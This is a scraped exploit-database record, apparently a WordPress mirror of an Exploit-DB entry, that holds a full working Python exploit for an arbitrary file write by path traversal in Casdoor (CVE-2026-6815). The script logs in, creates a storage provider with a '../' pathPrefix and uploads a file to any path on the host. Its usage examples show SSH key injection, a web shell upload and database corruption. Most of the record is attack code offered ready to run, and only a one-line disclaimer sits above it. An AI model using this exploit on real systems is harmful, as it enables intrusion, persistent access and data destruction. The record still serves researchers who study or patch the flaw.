{“lastseen”:”2026-05-27T13:27:56″,”description”:”Exploit Title: Casdoor 3.54.1 – Arbitrary File Write via Path Traversal Date: 2026-05-11 Exploit Author: sixpain Vendor Homepage: https:\/\/casdoor.org\/ Software Link: https:\/\/github.com\/casdoor\/casdoor Version: 3.54.1 Tested on: Linux \/ Docker CVE :…”,”published”:”2026-05-27T00:00:00″,”modified”:”2026-05-27T00:00:00″,”type”:”exploitdb”,”title”:”Casdoor 3.54.1 – Arbitrary File Write via Path Traversal”,”source”:””,”references”:””,”id”:”EDB-ID:52584″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2026-6815″],”sourceData”:”# Exploit Title: Casdoor 3.54.1 – Arbitrary File Write via Path Traversal \\r\\n# Date: 2026-05-11\\r\\n# Exploit Author: sixpain\\r\\n# Vendor Homepage: https:\/\/casdoor.org\/\\r\\n# Software Link: https:\/\/github.com\/casdoor\/casdoor\\r\\n# Version: \\u003c 3.54.1\\r\\n# Tested on: Linux \/ Docker\\r\\n# CVE : CVE-2026-6815\\r\\n\\r\\n\\”\\”\\”\\r\\nCasdoor Arbitrary File Write \/ Path Traversal PoC (CVE-2026-6815)\\r\\n================================================\\r\\n\\r\\nDESCRIPTION:\\r\\nThis script exploits a Path Traversal vulnerability in the storage provider \\r\\nmanagement component of Casdoor. By creating a ‘Local File System’ provider \\r\\nwith a manipulated ‘pathPrefix’, an authenticated administrator can bypass \\r\\nthe storage sandbox to write, overwrite, or delete arbitrary files on the \\r\\nunderlying host filesystem.\\r\\n\\r\\nIMPACT:\\r\\n- Remote Code Execution (RCE) via SSH key injection or web shell upload.\\r\\n- Persistent Denial of Service (DoS) by corrupting core application binaries \\r\\n or database files (e.g., casdoor.db).\\r\\n\\r\\nUSAGE EXAMPLES:\\r\\n1. SSH Key Injection for RCE:\\r\\n python3 poc.py –url http:\/\/target:8000 –usr admin –psw 123 –file id_rsa.pub –rpath \/home\/casdoor\/.ssh\/authorized_keys\\r\\n\\r\\n2. Persistent DoS (Database Corruption):\\r\\n python3 poc.py –url http:\/\/target:8000 –usr admin –psw 123 –file dummy.txt –rpath \/app\/casdoor.db\\r\\n\\r\\n3. Reverse Shell (via secondary web server webroot):\\r\\n python3 poc.py –url http:\/\/target:8000 –usr admin –psw 123 –file shell.php –rpath \/var\/www\/html\/shell.php\\r\\n\\r\\nTROUBLESHOOTING \\u0026 TECHNICAL NOTES:\\r\\n- APP \\u0026 ORG CONTEXT: By default, the script targets the ‘app-built-in’ application \\r\\n and ‘built-in’ organization. If you have credentials for custom \\r\\n namespaces, specify them using the –appname and –orgname flags.\\r\\n- FILE OVERWRITE BEHAVIOR: Successful overwriting occurs only once per unique \\r\\n remote path. Casdoor’s resource management logic prevents direct subsequent \\r\\n overwrites by appending increments (e.g., file-1.ext, file-2.ext) to the \\r\\n resource name if the entry already exists in the application’s internal \\r\\n database. To re-exploit the same path, the specific resource entry must \\r\\n usually be deleted via the UI\/API or a different provider name must be used.\\r\\n- PERMISSIONS: Exploitation success is dependent on the OS-level permissions \\r\\n of the user account running the Casdoor service.\\r\\n- VERBOSE MODE: Use -v or –verbose to inspect raw API requests and responses.\\r\\n\\r\\nDISCLAIMER:\\r\\nThis tool is for educational and coordinated disclosure purposes only. \\r\\nUnauthorized testing against systems you do not own is illegal.\\r\\n\\”\\”\\”\\r\\n\\r\\n\\r\\nimport argparse\\r\\nimport requests\\r\\nimport json\\r\\nimport os\\r\\n\\r\\ndef log_request(response, verbose):\\r\\n \\”\\”\\”Prints request and response details if verbose mode is enabled.\\”\\”\\”\\r\\n if verbose:\\r\\n print(\\”\\\\n\\” + \\”=\\”*50)\\r\\n print(f\\”DEBUG – REQUEST: {response.request.method} {response.request.url}\\”)\\r\\n print(f\\”HEADERS: {json.dumps(dict(response.request.headers), indent=2)}\\”)\\r\\n if response.request.body:\\r\\n # Handle potential bytes body for multipart\\r\\n body = response.request.body\\r\\n if isinstance(body, bytes):\\r\\n print(f\\”BODY: \\u003cbinary data, length {len(body)}\\u003e\\”)\\r\\n else:\\r\\n print(f\\”BODY: {body}\\”)\\r\\n print(\\”-\\” * 50)\\r\\n print(f\\”DEBUG – RESPONSE: {response.status_code}\\”)\\r\\n print(f\\”HEADERS: {json.dumps(dict(response.headers), indent=2)}\\”)\\r\\n try:\\r\\n print(f\\”JSON BODY: {json.dumps(response.json(), indent=2)}\\”)\\r\\n except:\\r\\n print(f\\”RAW BODY: {response.text[:500]}…\\”) \\r\\n print(\\”=\\”*50 + \\”\\\\n\\”)\\r\\n\\r\\ndef run_poc():\\r\\n parser = argparse.ArgumentParser(description=\\”Casdoor Path Traversal Exploitation PoC\\”)\\r\\n parser.add_argument(\\”–url\\”, required=True, help=\\”Target base URL (e.g., http:\/\/casdoor:8000)\\”)\\r\\n parser.add_argument(\\”–usr\\”, default=\\”admin\\”, help=\\”Login username\\”)\\r\\n parser.add_argument(\\”–psw\\”, default=\\”123\\”, help=\\”Login password\\”)\\r\\n parser.add_argument(\\”–file\\”, required=True, help=\\”Local file to upload\\”)\\r\\n parser.add_argument(\\”–rpath\\”, required=True, help=\\”Absolute remote path (e.g., \/tmp\/pwned.txt)\\”)\\r\\n parser.add_argument(\\”–appname\\”, default=’app-built-in’, help=\\”Target Casdoor Application Name\\”)\\r\\n parser.add_argument(\\”–orgname\\”, default=’built-in’, help=\\”Target Casdoor Organization Name\\”)\\r\\n parser.add_argument(\\”-v\\”, \\”–verbose\\”, action=\\”store_true\\”, help=\\”Enable verbose logging\\”)\\r\\n \\r\\n args = parser.parse_args()\\r\\n \\r\\n # Sanitize and validate URL schema\\r\\n target_url = args.url.strip().rstrip(‘\/’)\\r\\n if not target_url.startswith((‘http:\/\/’, ‘https:\/\/’)):\\r\\n print(\\”[!] No protocol specified. Defaulting to http:\/\/\\”)\\r\\n target_url = f\\”http:\/\/{target_url}\\”\\r\\n \\r\\n session = requests.Session()\\r\\n\\r\\n # Setting common user agent\\r\\n session.headers.update({\\r\\n \\”User-Agent\\”: \\”Mozilla\/5.0 (X11; Linux x86_64; rv:140.0) Gecko\/20100101 Firefox\/140.0\\”\\r\\n })\\r\\n\\r\\n # — STEP 1: INITIAL SESSION —\\r\\n print(f\\”[*] Step 1: Retrieving initial session cookie…\\”)\\r\\n try:\\r\\n r1 = session.get(f\\”{target_url}\/login\/built-in\\”)\\r\\n log_request(r1, args.verbose)\\r\\n \\r\\n if \\”casdoor_session_id\\” not in session.cookies:\\r\\n print(\\”[-] Error: Failed to retrieve casdoor_session_id.\\”)\\r\\n return\\r\\n print(f\\”[+] Session ID obtained: {session.cookies.get(‘casdoor_session_id’)}\\”)\\r\\n\\r\\n # — STEP 2: LOGIN \/ PRIVILEGE ESCALATION —\\r\\n print(f\\”[*] Step 2: Logging in as {args.usr}…\\”)\\r\\n login_payload = {\\r\\n \\”application\\”: args.appname,\\r\\n \\”organization\\”: args.orgname,\\r\\n \\”username\\”: args.usr,\\r\\n \\”password\\”: args.psw,\\r\\n \\”autoSignin\\”: True,\\r\\n \\”signinMethod\\”: \\”Password\\”,\\r\\n \\”type\\”: \\”login\\”\\r\\n }\\r\\n \\r\\n r2 = session.post(\\r\\n f\\”{target_url}\/api\/login\\”, \\r\\n data=json.dumps(login_payload),\\r\\n headers={\\”Content-Type\\”: \\”text\/plain;charset=UTF-8\\”}\\r\\n )\\r\\n log_request(r2, args.verbose)\\r\\n \\r\\n login_res = r2.json()\\r\\n if login_res.get(\\”status\\”) == \\”ok\\” and ‘admin’ in login_res.get(\\”data\\”).lower():\\r\\n print(\\”[+] Login successful. Admin privileges confirmed.\\”)\\r\\n else:\\r\\n print(\\”[!] Warning: Not an admin or login failed. Attempting to proceed anyway…\\”)\\r\\n\\r\\n # — STEP 2.5: VERSION CHECK —\\r\\n print(f\\”[*] Step 2.5: Checking Casdoor version…\\”)\\r\\n try:\\r\\n r_version = session.get(f\\”{target_url}\/api\/get-version-info\\”)\\r\\n log_request(r_version, args.verbose)\\r\\n if r_version.status_code == 200:\\r\\n version_data = r_version.json().get(\\”data\\”, {})\\r\\n if not version_data:\\r\\n # Some versions might return data directly or in different format\\r\\n version_data = r_version.json()\\r\\n \\r\\n version = version_data.get(\\”version\\”, \\”unknown\\”)\\r\\n print(f\\”[+] Target Casdoor version: {version}\\”)\\r\\n \\r\\n # Check if version is patched (\\u003e= 3.54.1)\\r\\n is_vulnerable = True\\r\\n if version != \\”unknown\\” and version != \\”dev\\”:\\r\\n try:\\r\\n v_clean = version.lstrip(‘v’).split(‘-‘)[0]\\r\\n v_parts = [int(p) for p in v_clean.split(‘.’)]\\r\\n if v_parts \\u003e= [3, 54, 1]:\\r\\n is_vulnerable = False\\r\\n except:\\r\\n pass # Parsing error, assume vulnerable or let user decide\\r\\n \\r\\n if not is_vulnerable:\\r\\n print(f\\”[!] WARNING: Target version {version} is likely PATCHED (\\u003e= 3.54.1) and this PoC will not work.\\”)\\r\\n choice = input(\\”[?] Do you want to continue anyway? (y\/N): \\”).lower()\\r\\n if choice != ‘y’:\\r\\n print(\\”[-] Aborting.\\”)\\r\\n return\\r\\n else:\\r\\n print(\\”[!] Warning: Could not retrieve version info (Status: {}).\\”.format(r_version.status_code))\\r\\n except Exception as e:\\r\\n print(f\\”[!] Error during version check: {e}\\”)\\r\\n\\r\\n\\r\\n # — STEP 3: CREATE MALICIOUS STORAGE PROVIDER —\\r\\n print(\\”[*] Step 3: Creating Path Traversal Provider…\\”)\\r\\n provider_payload = {\\r\\n \\”owner\\”: \\”admin\\”,\\r\\n \\”name\\”: \\”path_traversal\\”,\\r\\n \\”createdTime\\”: \\”2026-02-20T17:59:58+01:00\\”,\\r\\n \\”displayName\\”: \\”Path Traversal Provider\\”,\\r\\n \\”category\\”: \\”Storage\\”,\\r\\n \\”type\\”: \\”Local File System\\”,\\r\\n \\”method\\”: \\”Normal\\”,\\r\\n \\”pathPrefix\\”: \\”..\/..\/..\/..\/..\/..\/..\/..\/..\/\\”\\r\\n }\\r\\n \\r\\n r3 = session.post(\\r\\n f\\”{target_url}\/api\/add-provider\\”, \\r\\n data=json.dumps(provider_payload),\\r\\n headers={\\”Content-Type\\”: \\”text\/plain;charset=UTF-8\\”}\\r\\n )\\r\\n log_request(r3, args.verbose)\\r\\n \\r\\n prov_res = r3.json()\\r\\n msg = prov_res.get(\\”msg\\”, \\”\\”)\\r\\n if prov_res.get(\\”status\\”) == \\”ok\\”:\\r\\n print(\\”[+] Malicious provider created successfully.\\”)\\r\\n elif \\”UNIQUE constraint failed\\” in msg:\\r\\n print(\\”[*] Provider ‘path_traversal’ already exists. Reusing it.\\”)\\r\\n else:\\r\\n print(f\\”[-] Failed to create provider: {msg}\\”)\\r\\n if \\”pathPrefix\\” in msg and \\”is not allowed\\” in msg:\\r\\n print(f\\”[!] Escape sequence is sanitized. Check Casdoor version \\u003c 3.54.1 (CVE-2026-6815 is likely fixed).\\”)\\r\\n return\\r\\n\\r\\n # — STEP 4: FILE UPLOAD (EXPLOITATION) —\\r\\n print(f\\”[*] Step 4: Uploading {args.file} to {args.rpath}…\\”)\\r\\n upload_params = {\\r\\n \\”owner\\”: args.orgname,\\r\\n \\”user\\”: args.usr,\\r\\n \\”application\\”: args.appname,\\r\\n \\”tag\\”: \\”custom\\”,\\r\\n \\”parent\\”: \\”ResourceListPage\\”,\\r\\n \\”fullFilePath\\”: args.rpath,\\r\\n \\”provider\\”: \\”path_traversal\\”\\r\\n }\\r\\n \\r\\n if not os.path.exists(args.file):\\r\\n print(f\\”[-] Error: Local file {args.file} not found.\\”)\\r\\n return\\r\\n\\r\\n with open(args.file, ‘rb’) as f:\\r\\n # Note: headers are handled automatically by requests for multipart\/form-data\\r\\n files = {‘file’: (os.path.basename(args.file), f, ‘application\/octet-stream’)}\\r\\n r4 = session.post(f\\”{target_url}\/api\/upload-resource\\”, params=upload_params, files=files)\\r\\n log_request(r4, args.verbose)\\r\\n \\r\\n upload_res = r4.json()\\r\\n\\r\\n if upload_res.get(\\”status\\”) == \\”ok\\”:\\r\\n print(\\”\\\\n\\” + \\”!\\”*25)\\r\\n print(\\” EXPLOIT SUCCESSFUL\\”)\\r\\n print(\\”!\\”*25 + \\”\\\\n\\”)\\r\\n\\r\\n print(f\\”Response Path\\”)\\r\\n print(25*’-‘)\\r\\n print(f’\\\\t-data : {upload_res.get(‘data’)}’)\\r\\n print(f’\\\\t-data2: {upload_res.get(‘data2′)}’)\\r\\n print(f’\\\\t-data3: {upload_res.get(‘data3′)}’)\\r\\n print(25*’-‘)\\r\\n\\r\\n else:\\r\\n print(f\\”[-] Upload failed: {upload_res.get(‘msg’)}\\”)\\r\\n\\r\\n except Exception as e:\\r\\n print(f\\”[-] An unexpected error occurred: {e}\\”)\\r\\n\\r\\nif __name__ == \\”__main__\\”:\\r\\n run_poc()”,”sourceHref”:”https:\/\/www.exploit-db.com\/raw\/52584″,”cvss”:{“score”:5.9,”severity”:”MEDIUM”,”vector”:”CVSS:3.1\/AV:L\/AC:L\/PR:N\/UI:N\/S:U\/C:L\/I:L\/A:L”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/www.exploit-db.com\/exploits\/52584″,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-05-27T13:27:56″,”description”:”Exploit Title: Casdoor 3.54.1 – Arbitrary File Write via Path Traversal Date: 2026-05-11 Exploit Author: sixpain Vendor Homepage: https:\/\/casdoor.org\/ Software Link: https:\/\/github.com\/casdoor\/casdoor Version: 3.54.1 Tested…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,97,12,40,21,13,7,11,5],"class_list":["post-57400","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-59","tag-exploit","tag-exploitdb","tag-medium","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n